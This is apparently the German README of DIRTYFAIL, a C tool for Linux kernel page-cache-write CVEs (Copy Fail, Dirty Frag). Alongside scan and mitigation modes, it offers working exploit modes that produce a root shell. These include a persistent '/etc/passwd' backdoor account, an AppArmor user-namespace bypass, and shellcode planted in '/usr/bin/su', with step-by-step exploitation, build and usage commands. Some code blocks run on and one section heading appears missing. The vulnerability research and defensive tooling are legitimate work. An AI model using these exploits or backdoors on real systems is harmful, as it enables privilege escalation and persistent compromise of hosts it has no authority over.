DIRTYFAIL ist ein kleines, gut dokumentiertes C-Werkzeug für Sicherheitsforscher.
Es erkennt, ob ein Linux-Host anfällig für die drei CVEs dieser Familie ist,
und führt — mit expliziter, getippter Bestätigung — einen echten
Proof-of-Concept aus, der den Aufrufer auf einem anfälligen System in eine Root-Shell bringt.

| CVE / Variante | Name | DIRTYFAIL-Abdeckung |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (algif_aead `authencesn` page-cache write) | Erkennung + vollständiger PoC |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP page-cache write          | Erkennung + vollständiger PoC |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP page-cache write (`esp6`) | Erkennung + vollständiger PoC |
| **CVE-2026-43500**    | Dirty Frag — RxRPC page-cache write                  | Erkennung + vollständiger PoC |
| Copy Fail GCM variant | xfrm-ESP `rfc4106(gcm(aes))` page-cache write        | Erkennung + vollständiger PoC |

**Bonus-Modi:**

- **`--scan --active`** — sentinel-STORE aktive Sonden. Standardmäßig meldet `--scan`
  die Vorbedingungen pro CVE (Kernel, Module, LSM-Status) sowie eine aktive Sonde
  der Copy-Fail-Primitive. Durch Hinzufügen von `--active` wird die
  Sentineldaten-STORE-Sonde auf alle vier anderen Primitive (ESP v4,
  ESP v6, RxRPC, GCM) erweitert: jede feuert den Kernel-Trigger gegen eine `/tmp`-Sentinel
  und meldet VULNERABLE nur, wenn die Markierungsbytes tatsächlich landen.
  Dies ist die einzige Möglichkeit, einen zurückportierten, gepatchten Kernel
  (Vorbedingungen sagen anfällig, aber Sonde sagt intakt) von einem
  ungepatchten zu unterscheiden, ohne den vollständigen Exploit auszuführen. `/etc/passwd` wird
  nie berührt. Kalibriert den V6-STORE-Shift automatisch pro Kernel-Build.
- **`--exploit-backdoor`** — persistenter uid-0-Hintertür: längenangepasstes
  Überschreiben einer `nologin`/`false`/`sync`-Zeile in `/etc/passwd` mit
  `dirtyfail::0:0:<pad>:/:/bin/bash`. Überlebt Shell-Exit, bis die Seite
  ausgelagert wird. Zustand wird in `/var/tmp/.dirtyfail.state` für
  `--cleanup-backdoor` gespeichert. Der Benutzername `dirtyfail` ist bewusst auf
  dieses Projekt abgestimmt, sodass er in jedem Audit sofort identifizierbar ist —
  ändern Sie `NEW_USER` in `src/backdoor.c`, falls Sie für einen autorisierten
  Red-Team-Einsatz einen anderen Bezeichner benötigen.
- **AppArmor-Bypass** — besiegt Ubuntus
  `apparmor_restrict_unprivileged_userns=1`-Richtlinie über einen einstufigen
  `change_onexec("crun")`-Neuaufruf in ein uneingeschränktes Profil, das
  userns-Fähigkeiten behält. Jeder Exploit-Modus behandelt dies
  intern über einen Fork: Elternprozess bleibt im Init-Namespace, Kindprozess
  führt den Bypass-Tanz aus, Elternprozess liest den globalen Page-Cache und führt `su` für
  echte Init-Ns-Root aus. Das Legacy-Flag `--aa-bypass` existiert noch für das
  Debuggen der Bypass-Mechanik in Isolation. Siehe [§8.5 Architektur](#85-architecture-outerinner-fork-based-bypass).

## Verifiziert auf folgenden Systemen

DIRTYFAIL wurde **empirisch Ende-zu-Ende validiert** auf mehreren
Distributionen und Kernel-Versionen. Die Matrix unten zeigt pro Modus die
Testergebnisse aus der Ausführung jedes `--exploit-*`-Modus gegen eine Neuinstallation
jeder Distribution.

| Distribution | Kernel | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Backdoor | SU-Shellcode |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (nicht getestet) |
| Debian 13.4 | `6.12.86+deb13` | none | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (gehärtet) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**Legende:** ✅ Exploit landete und erzeugte echte init-ns root  · 🛡 gemildert — Exploit kann Kernel-Fehler nicht erreichen (Kernel gepatcht ODER LSM blockiert unprivilegierten Pfad)  · ⏭ nicht zutreffend (Vorbedingung fehlt)

### Validierung der aktiven Sonden (`--scan --active`)

Das Flag `--active` fügt während der Erkennung eine Sentineldaten-STORE-Sonde pro CVE
hinzu. Wir haben die Sondenergebnisse gegen dieselben 4 Distributionen oben validiert
(Debian, Fedora, AlmaLinux, Ubuntu 26.04) — die Matrix unten zeigt
das Sondenurteil pro Modus und stimmt mit der Ground-Truth des vollständigen Exploits eins-zu-eins überein:

| Distribution | Copy-Fail-Sonde | ESP-v4-Sonde | ESP-v6-Sonde | RxRPC-Sonde | GCM-Sonde |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | intakt 🛡 | intakt 🛡 | intakt 🛡 | intakt 🛡 | intakt 🛡 |
| Fedora 44   | Marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | Byte-Änderung ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | Marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | Vorbedingungen ⏭ | Sentinel geändert ✅ |
| Ubuntu 26.04 | intakt 🛡 | LSM-blockiert 🛡 | LSM-blockiert 🛡 | LSM-blockiert 🛡 | LSM-blockiert 🛡 |

Der STORE-Landeoffset der V6-Sonde (8 auf Fedora und Alma) entspricht dem empirischen
`V6_STORE_SHIFT`, das `calibrate_v6_shift()` zur Laufzeit ermittelt — was bestätigt,
dass die automatische Kalibrierung die zuvor hartcodierte Konstante korrekt über
Kernel-Builds hinweg ersetzt.

¹ GCM und Backdoor erfordern, dass `algif_aead` ladbar ist. Ubuntu 24.04
liefert `/etc/modprobe.d/disable-algif_aead.conf` mit, das es als
Copy-Fail-Mitigation blacklistet. Wenn die Blacklist entfernt wird (z. B. auf einem
Kernel, der vor der Mitigation liegt), funktionieren beide Modi Ende-zu-Ende.

² Der algif_aead-Pfad von Copy Fail wird durch die modprobe-Blacklist gemildert;
die zugrunde liegende CVE-Primitive im Kernel ist dieselbe, ob `authencesn`
erreichbar ist oder nicht. xfrm-ESP, RxRPC und die GCM-Variante landen alle
auf demselben Kernel, da sie nicht über algif_aead gehen.

³ Das Paket `kernel-modules-extra` von AlmaLinux 10 wird bei einer
Minimalinstallation nicht standardmäßig installiert, daher fehlt `rxrpc.ko`
auf der Festplatte. Die Installation von `kernel-modules-extra-$(uname -r)` aus
EPEL oder dem AlmaLinux-Extras-Repo bringt das Modul zurück; bei einer reinen
Minimalinstallation ist RxRPC nicht erreichbar.

⁴ **Ubuntu 26.04 LTS blockiert umfassend die unprivilegierte Ausnutzung.**
Der ausgelieferte Kernel `7.0.0-15.15` (veröffentlicht am 22.04.2026)
**stammt aus der Zeit vor dem Hauptlinien-Patch `f4c50a4034e6` (zusammengeführt am
07.05.2026) um ~2 Wochen** — der Fehler ist also noch im Kernel vorhanden. Ubuntus
Verteidigung ist **Verteidigung in der Tiefe durch AppArmor-Härtung**, nicht ein
Kernel-Patch:

- `apparmor_restrict_unprivileged_userns=1` ist standardmäßig aktiviert.
- Bei `unshare(CLONE_NEWUSER)` wechselt die Kernel-Level-AppArmor-Durchsetzung
  automatisch JEGLICHES Profil (einschließlich solcher mit `(unconfined)`-Flag
  wie `crun`, `chrome`, Standard `unconfined`) in ein
  `<profile>//&unprivileged_userns (mixed)`-Subprofil mit
  `audit deny capability`. uid 0 im neuen userns erhält keine Caps.
- `change_onexec` auf ein anderes Profil hilft nicht — selbst das
  `crun`-Profil (das explizite `userns,`-Berechtigung und
  `flags=(unconfined)` hat) wechselt bei unshare automatisch. Verifiziert über
  `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`
  → `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) schreibt erfolgreich uid_map,
  aber `setresuid(0)` gelingt dann, während `ioctl(SIOCSIFFLAGS)` und
  jeder andere CAP_NET_ADMIN-geschützte Syscall EPERM zurückgibt, da die
  Capability-Verweigerung pro Namespace und nicht pro uid erfolgt.

Das DIRTYFAIL-Binary armiert korrekt seinen Bypass und erreicht Stufe 2,
kann aber CAP_NET_ADMIN im neuen userns nicht erlangen. Die Exploit-Infrastruktur
wird auf LSM-Ebene blockiert, unabhängig von der Bypass-Technik. Wir haben
`change_onexec(crun)`, `change_onexec(chrome)`, `aa-exec -p <profile>` und direktes
`unshare(USER|NET) + newuidmap` getestet — alle erzeugen dasselbe
`unprivileged_userns`-Subprofil.

**Dies ist gute Sicherheitsarbeit von Canonical.** Der Fehlertyp wird für
unprivilegierte Benutzer gemildert, ohne dass ein Kernel-Neubau erforderlich ist.
Ein späteres stabiles Update wird wahrscheinlich auch den Kernel-Patch ordnungsgemäß
bringen, um die Verteidigung abzuschließen.

⁵ **`--exploit-su` Shellcode-Injektion** hängt von derselben Copy-Fail-algif_aead-
4-Byte-Primitive (`cf_4byte_write`) ab. Auf Kerneln, auf denen Copy Fail gepatcht ist
(Debian 13.4) oder LSM-blockiert (Ubuntu 26.04 — aber der algif_aead-Pfad war in
7.0.0-15 ebenfalls gepatcht), läuft die Pflanzen durch, aber der Verifizierungsschritt
schlägt fehl („page cache does not match planted shellcode") und die automatische
Rückgängigmachung stellt `/usr/bin/su` wieder her. Ende-zu-Ende getestet auf
AlmaLinux 10.1 (Einstiegspunkt bei Dateioffset `0x45b0`) und Fedora 44
(Offset `0x1b60`); der ELF-Parser behandelt die PIE-Basis jeder Distribution
unabhängig. Root-Nachweis auf Fedora 44:
`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.

Test-Reproduzierbarkeit:

- Wir haben jede Distribution von einer sauberen ISO neu installiert, SSH-Schlüssel-Authentifizierung + NOPASSWD-Sudo eingerichtet, DIRTYFAIL auf jeder geklont und gebaut, einen `clean-build`-Parallels-Snapshot erstellt und dann alle 5 Exploit-Modi mit `--no-shell` ausgeführt (automatische Rückgängigmachung über fadvise + drop_caches).
- Empirische Ergebniszeilen werden aus dem Parsen der tatsächlichen `--exploit-*`-Ausgabe abgeleitet, wobei nach den Erfolgssignalen gesucht wird: `page cache now reports <user> with uid 0`, `root password field is now empty`, `is now uid 0` (Backdoor) oder einem der Fehlermuster (`write did not land`, `byte flip failed`, `setresuid: Invalid`, `add_rxrpc_key: No such device`, `page cache not in expected shape`).
- Für die RxRPC- und Backdoor-„echte Root" -Verifizierung haben wir `echo "" | su - root` / `echo "" | su - dirtyfail` ausgeführt und `uid=0(root)` sowie erfolgreiches Lesen von `/etc/shadow` bestätigt.

> **Nur autorisierte Tests.** Verwenden Sie DIRTYFAIL nur auf Systemen, die Ihnen gehören oder für die Sie ausdrücklich mit der Bewertung beauftragt wurden. Die Exploit-Modi beschädigen `/etc/passwd` *im Kernel-Page-Cache* (die Datei auf der Festplatte wird nie berührt). Bereinigung erfolgt mit `dirtyfail --cleanup` oder `echo 3 > /proc/sys/vm/drop_caches`.

---

## Inhaltsverzeichnis

1. [Die Fehlerklasse](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 Architekturübersicht](#45-architecture-overview)
5. [Build](#5-build)
6. [Nutzung](#6-usage)
7. [Wie DIRTYFAIL jede CVE erkennt](#7-how-dirtyfail-detects-each-cve)
8. [Wie DIRTYFAIL jede CVE ausnutzt](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 Architektur: äußerer/innerer fork-basierter Bypass](#85-architecture-outerinner-fork-based-bypass)
9. [Mitigations](#9-mitigations)
10. [Ethik & Offenlegung](#10-ethics--disclosure)
11. [Credits](#11-credits)

**Begleitdokumente:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/DEFENDERS.md) — Sysadmin-Playbook: Bin ich verwundbar, wie mitigieren, was überwachen.
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/RESEARCH.md) — Kernel-Quellcode-Audit benachbarter Pfade (AH, IPCOMP, MACsec, kTLS, usw.) für dieselbe Fehlerklasse.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-check.sh) — eigenständiger Bash-Detektor für Sysadmins (keine Kompilierung erforderlich).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/99-dirtyfail.rules) — fertig geladene auditd-Regeln für die Exploit-Kette.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-container-escape.sh) — Namespace-übergreifende Blastradius-Demo.
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/exploit_su_aarch64.S) — aarch64 (ARM64) Shellcode-Quelle für `--exploit-su`. Hardware-nicht getestet; wird hinter `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` geliefert. Generieren Sie die entsprechenden Bytes in `src/exploit_su.c` mit `aarch64-linux-gnu-as` neu, um zu überprüfen.

---

## 1. Die Fehlerklasse

**Page-Cache-Schreib-** Schwachstellen erlauben einem unprivilegierten Benutzer, die In-Memory-Kopie einer Datei im Kernel zu modifizieren, auf die er nur Lesezugriff hat. Die Datei auf der Festplatte wird nie geschrieben; die Änderung bleibt im RAM bestehen, bis die Seite ausgelagert wird (`drop_caches`, Speicherdruck oder Neustart).

Diese Klasse begann mit **Dirty Pipe** (CVE-2022-0847), das `pipe_buffer`-Flags missbrauchte. Copy Fail und Dirty Frag sind Nachfolger, die stattdessen auf das `frag`-Mitglied von `struct sk_buff` abzielen. Der Mechanismus ist immer derselbe:

1. Userspace `splice()`t eine Page-Cache-Seite aus einer lesbaren Datei (z. B. `/etc/passwd`, `/usr/bin/su`) in den frag eines Kernel-Puffers.
2. Ein Empfangspfad führt **In-Place**-Krypto auf diesem Puffer aus — dieselben Seiten sind sowohl Quelle als auch Ziel der Operation.
3. Die Krypto-Routine führt einen „Scratch"-STORE außerhalb des Datenbereichs durch (eine Sequenznummer-Neuanordnung, eine Einzelblock-Entschlüsselung usw.), der in der vom Benutzer gepinnten Seite landet.
4. Die Page-Cache-Kopie der Datei ist nun für jeden Leser auf dem Host dauerhaft geändert, bis die Seite ausgelagert wird.

Da es sich bei dem Fehler um einen **deterministischen Logikfehler** handelt und nicht um einen Wettlauf, liegen die Erfolgsraten im Wesentlichen bei 100%, und der Kernel stürzt bei einem Fehler nicht ab.

---

## 2. CVE-2026-31431 — Copy Fail

* Offenlegung: **2026-04-29**
* Site: <https://copy.fail/>
* Original PoC (C):     [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* Original PoC (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* Eingeführt durch Commit:  `72548b093ee3` (2017)
* Behoben durch Commit:       `a664bf3d` (Hauptlinie 6.12 / 6.17 / 6.18 stabil)
* Bestätigt betroffen:    Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### Ursache

Das Kernel-Modul `algif_aead` stellt die AEAD-Krypto-API über `AF_ALG` für den Userspace bereit. Die Vorlage `authencesn(hmac(sha256), cbc(aes))` implementiert RFC-4303 ESN (Extended Sequence Numbers); ein Teil seines Entschlüsselungspfads führt einen **4-Byte-Scratch-Schreibvorgang** durch, um die Sequenznummer neu anzuordnen:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

Flipping `1000` (das UID-Feld, genau 4 ASCII-Bytes für jede UID
1000–9999) auf `0000` bewirkt, dass glibc's `getpwnam()` für
diesen Benutzer uid=0 meldet. PAM authentifiziert jedoch weiterhin
gegen die on-disk `/etc/shadow` (die unberührt bleibt), also fragt
`su <user>` nach dem echten Passwort, validiert es, ruft dann
`setuid(0)` auf — und landet als root, weil die Page-Cache-Kopie
von `/etc/passwd` besagt, dass wir root sind.

Die Integrität von `/etc/shadow` bleibt erhalten. On-disk `/etc/passwd` ist
erhalten. Nur die RAM-Kopie des Kernels von `/etc/passwd` ist beschädigt,
und nur bis `drop_caches` oder einem Neustart.

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* Offenlegung: **2026-04-30 → 2026-05-08**
* Original PoC (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* Forscher: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* Eingeführt durch Commit: `cac2661c53f3` (2017-01-17)
* Behoben durch Commit:      `f4c50a4034e6` (mainline net.git, gemergt 2026-05-07)
* Bestätigt betroffen:   Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### Ursache

`esp_input()` soll `skb_cow_data()` vor der In-Place-AEAD-Entschlüsselung
aufrufen, wenn ein skb nicht-linear ist (d.h. Fragmente hat). Der Codepfad
hat eine Abkürzung:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

Wenn eine Page-Cache-Seite in das skb-frag gespleißt wurde, wird die 8-Byte-Entschlüsselung darüber durchgeführt.

**Unterschied zu xfrm-ESP**: Die 8 Bytes, die gespeichert (STOREd) werden, sind `fcrypt_decrypt(C, K)`, wobei `C` der vorhandene Chiffretext an diesem Datei-Offset ist und `K` der Sitzungsschlüssel aus einem RxRPC-v1-Token, den der Angreifer über `add_key("rxrpc", ...)` registriert hat. Der Angreifer kontrolliert den STORE-Wert nicht direkt — er muss `K` brute-forcen, bis `fcrypt_decrypt(C, K)` den gewünschten Klartext erzeugt.

`fcrypt` ist eine Andrew-Dateisystem-Chiffre mit einem **56-Bit-Schlüssel** und einem 8-Byte-Block. Sie ist deterministisch; sie lässt sich sauber in den Benutzerbereich portieren; und ihr Schlüsselraum ist klein genug, dass ein eingeschränktes 8-Byte-Ziel in Millisekunden bis Sekunden brute-forced werden kann, abhängig vom Einschränkungsbudget.

**Entscheidend ist, dass dieser Pfad KEINE Namespace-Privilegien benötigt** — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` sind alle für jeden unprivilegierten Benutzer verfügbar. RxRPC schließt die Lücke im gehärteten userns-Profil von Ubuntu (wo xfrm-ESP blockiert ist), weil `rxrpc.ko` im standardmäßigen Ubuntu-Build enthalten ist.

### Exploitation

Der vollständige Exploit:

1. Brute-force `K_A`, `K_B`, `K_C` im Benutzerbereich, sodass die drei STOREs an den `/etc/passwd`-Offsets 4, 6, 8 jeweils `"::"`, `"0:"`, `"0:GGGGGG:"` erzeugen (last-write-wins).
2. Für jedes `K_i` ein RxRPC-v1-Token mit `add_key` registrieren, einen gefälschten AF_RXRPC-Handshake gegen einen gefälschten UDP-Server im selben Prozess durchführen und `rxkad_verify_packet_1` über splice auslösen.
3. Die Page-Cache-Kopie von `/etc/passwd` Zeile 1 ist jetzt `root::0:0:GGGGGG:/root:/bin/bash` — ein leeres Passwortfeld.
4. PAM mit `pam_unix.so nullok` akzeptiert das leere Passwort; `su -` öffnet eine Root-Shell.

### DIRTYFAIL-Abdeckung

DIRTYFAIL enthält **sowohl** Erkennung als auch einen vollständigen PoC für diese CVE.

Die DIRTYFAIL-Implementierung befindet sich in `src/dirtyfrag_rxrpc.c` und `src/fcrypt.c`:

- **fcrypt-Chiffre** (`fcrypt.c`): 56-Bit-Schlüssel, 8-Byte-Block, 16-Runden-Feistel; Standard-rxkad-Protokoll-S-Boxen. Enthält ein Single-Core-Brute-Force-Harness (~18 Mops/s), das den Schlüsselraum durchsucht, bis ein Kandidaten-Klartext ein vom Aufrufer bereitgestelltes Prädikat erfüllt.
- **rxkad-Prüfsumme** (`compute_csum_iv`, `compute_cksum`): Kernel-Formel, die über AF_ALG `pcbc(fcrypt)` reproduziert wird, sodass die Wire-Cksum in unserem gefälschten DATA-Paket das Gate von `rxkad_verify_packet` passiert.
- **RxRPC-v1-Token-Erstellung** (`build_rxrpc_v1_token`): XDR-codiertes rxkad-Token, das über `add_key("rxrpc", ...)` mit unserem brute-forced Sitzungsschlüssel registriert wird.
- **AF_RXRPC-Client + UDP-Fake-Server**: Der Client initiiert einen Call, der Fake-Server extrahiert (epoch, cid, callNumber) aus dem ersten Paket und sendet eine gefälschte CHALLENGE, sodass der Client `conn->rxkad.cipher` mit unserem Schlüssel initialisiert.
- **Splice-Trigger** (`do_one_trigger`): vmsplice gefälschten DATA-Wire-Header → splice 8 Bytes aus `/etc/passwd` → splice pipe → udp_srv → recvmsg treibt Kernel durch `rxkad_verify_packet_1` → 8-Byte-STORE.
- **3-Splice-Kette mit Korrektur des verketteten Chiffretexts**: Brute force von K_A / K_B / K_C, Anwendung der Verschiebung des verketteten Chiffretexts zwischen den Durchläufen (nachdem splice A Bytes 4..11 überschreibt, beginnt splice B’s Chiffretext bei 6..13 mit `P_A[2..7]`; gleiches für C gegen B).

Das finale PoC formt `/etc/passwd` Zeile 1 um zu:```
root::0:0:GGGGG:/root:/bin/bash

**Wichtige Designentscheidungen:**

- **Outer/Inner-Split**: Jeder Exploit forkt einen Kindprozess für die Kernel-Arbeit. Der Elternprozess bleibt im Init-Namespace, sodass der spätere `execlp("su", user)` die echte Init-Namespace-Root erreicht. Siehe [§8.5 Architektur](#85-architecture-outerinner-fork-based-bypass).
- **Page Cache ist global**: Der Kindprozess schreibt von innerhalb seines Bypass-User-Namespace, der Elternprozess liest vom Init-NS; dieselben Bytes sind sichtbar.
- **Umgebungsvariablen transportieren Eltern-zu-Kind-Zustand**: `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc), `DIRTYFAIL_LINE_OFF` usw. (Backdoor). `execv` bewahrt die Umgebung über Stufenübergänge hinweg.
- **Defensive Begleitfunktion**: `--mitigate` setzt dieselben Blacklists + Sysctl-Härtung ein, die Distributionen als offizielle Mitigationsmaßnahmen ausliefern. `--scan` erkennt, wenn Capabilities durch LSM blockiert werden, und meldet „mitigated" anstelle des irreführenden „VULNERABLE preconditions met".

---

## 5. Erstellen

### Voraussetzungen

* **Linux** (diese Binärdatei ist nur unter Linux lauffähig).
* `gcc` oder `clang`, `make`.
* Linux-UAPI-Header – insbesondere `<linux/xfrm.h>`, `<linux/netlink.h>`, `<linux/rtnetlink.h>`, `<linux/if.h>`.

| Distribution       | Installation                                      |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`    |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`           |
| Arch              | `sudo pacman -S base-devel`                          |

### Build-Befehle```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

(Installiere `musl-tools` unter Debian/Ubuntu oder baue musl aus dem Quellcode).

---

## 6. Verwendung

`./dirtyfail --help` ist die kanonische Referenz; die Modi sind nach Kategorien aufgeschlüsselt:

**Erkennung (sicher; keine Systemänderung):**

| Modus | Funktion |
|---|---|
| `--scan` | Führt alle fünf Detektoren aus (Standardmodus) |
| `--scan --active` | Fügt einen Sentinel-Datei-STORE-Probe pro CVE hinzu — unterscheidet Vorbedingungen erfüllt von tatsächlich ausnutzbar |
| `--scan --json` | Gibt ein einzelnes JSON-Objekt auf stdout aus (SIEM-freundlich); Logs gehen nach stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Nur CVE-spezifische Erkennung |

**Ausnutzung (mit Bestätigung per Eingabe; beschädigt `/etc/passwd`-Page-Cache):**

| Modus | Funktion |
|---|---|
| `--exploit-copyfail` | UID-Flip über `algif_aead` 4-Byte-Primitive |
| `--exploit-esp` | UID-Flip über xfrm-ESP v4 (benötigt userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | UID-Flip über xfrm-ESP v6 |
| `--exploit-rxrpc` | Leeres Root-Passwortfeld über rxkad-fcrypt-Brute-Force |
| `--exploit-gcm` | UID-Flip über `rfc4106(gcm(aes))` Einzelbyte-Primitive |
| `--exploit-backdoor` | DAUERHAFT: Füge `dirtyfail::0:0:...:/:/bin/bash` ein |
| `--exploit-su` | V4bel-artig: Pflanzt architekturspezifischen Shellcode am Einstiegspunkt von `/usr/bin/su` ein. x86_64 end-to-end getestet; aarch64 wird hardware-ungetestet ausgeliefert (geschützt durch `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |

**Bereinigung / Zustandsprüfung:**

| Modus | Funktion |
|---|---|
| `--cleanup` | Entfernt `/etc/passwd` aus dem Page-Cache (`fadvise` + `drop_caches` falls root) |
| `--cleanup-backdoor` | Stellt die ursprüngliche `/etc/passwd`-Zeile aus der Zustandsdatei wieder her |
| `--cleanup-su` | Stellt die Einstiegspunkt-Bytes von `/usr/bin/su` aus der Zustandsdatei wieder her |
| `--list-state` | Meldet, was (falls vorhanden) derzeit eingepflanzt ist; nebenwirkungsfrei |

**Defensiv (root erforderlich):**

| Modus | Funktion |
|---|---|
| `--mitigate` | Blacklistet die Module `algif_aead`/`esp4`/`esp6`/`rxrpc`; setzt `apparmor_restrict_unprivileged_userns=1`; drop_caches. Nebenwirkungen: bricht IPsec, AFS |
| `--cleanup-mitigate` | Entfernt die von `--mitigate` installierten modprobe/sysctl-Dateien |

**Allgemeine Optionen:**

| Flag | Wirkung |
|---|---|
| `--no-shell` | Nach erfolgreichem Exploit `execve su` NICHT ausführen — überprüfen und rückgängig machen |
| `--no-revert` | Mit `--no-shell` auch das automatische Rückgängigmachen überspringen (verwendet von der Container-Escape-Demo) |
| `--active` | Fügt aktive Sentinel-STORE-Probes zu `--scan`/`--check-*` hinzu |
| `--json` | (mit `--scan`) gibt maschinenlesbare Ausgabe aus |
| `--no-color` | Deaktiviert ANSI-Farben |
| `--aa-bypass` | (NUR DEBUG) erzwingt den AppArmor-Unprivileged-userns-Bypass — Exploits tun dies intern, siehe §8.5 |

### Erkennungsbeispiele

Einfacher Scan (nur Vorbedingungen — schnell, ~1s):```sh
./dirtyfail --scan

JSON für SIEM/Fleet-Ingestion:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

Jeder Exploit fragt nach `DIRTYFAIL` + (falls zutreffend) `YES_BREAK_SSH` vor jeglicher Page-Cache-Modifikation.

### Zustandsüberprüfung + Bereinigung```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

---

## 7. Wie DIRTYFAIL jede CVE erkennt

### Copy Fail (aktive Sentinel-Sonde)

Die Erkennung löst tatsächlich die Primitive gegen eine Sentinel-Datei in
`/tmp` aus:

1. Teste `socket(AF_ALG, SOCK_SEQPACKET, 0)` und `bind` an
   `authencesn(hmac(sha256), cbc(aes))`.
2. Erstelle eine 4 KiB große Sentinel-Datei in `/tmp` und lade die erste
   Seite per Page Fault in den Cache.
3. Führe die vollständige Exploit-Primitive dagegen aus: `sendmsg` AAD mit
   `seqno_lo = "PWND"`, splice 32 Bytes der Sentinel-Datei in den AF_ALG
   op Socket, treibe `recv` an, um den Scratch-Write auszulösen.
4. Lese die Sentinel-Datei erneut und suche nach `PWND` irgendwo auf der
   ersten Seite.

Marker gefunden ⇒ anfällig. Marker fehlt, aber Seiteninhalt unterscheidet sich ⇒
die Primitive wurde teilweise ausgelöst (immer noch anfällig). Seite identisch ⇒
nicht anfällig auf diesem Kernel.

### Dirty Frag xfrm-ESP (voraussetzungsbasiert — oder aktiv mit `--active`)

Standardmäßig ist `--scan` nur voraussetzungsbasiert — wir betreten im
Erkennungsmodus keinen User-Namespace (das hätte Nebeneffekte auf die
Netzwerkkonfiguration innerhalb dieses Namespace). Wir prüfen:

* Kernel-Version innerhalb des betroffenen Fensters
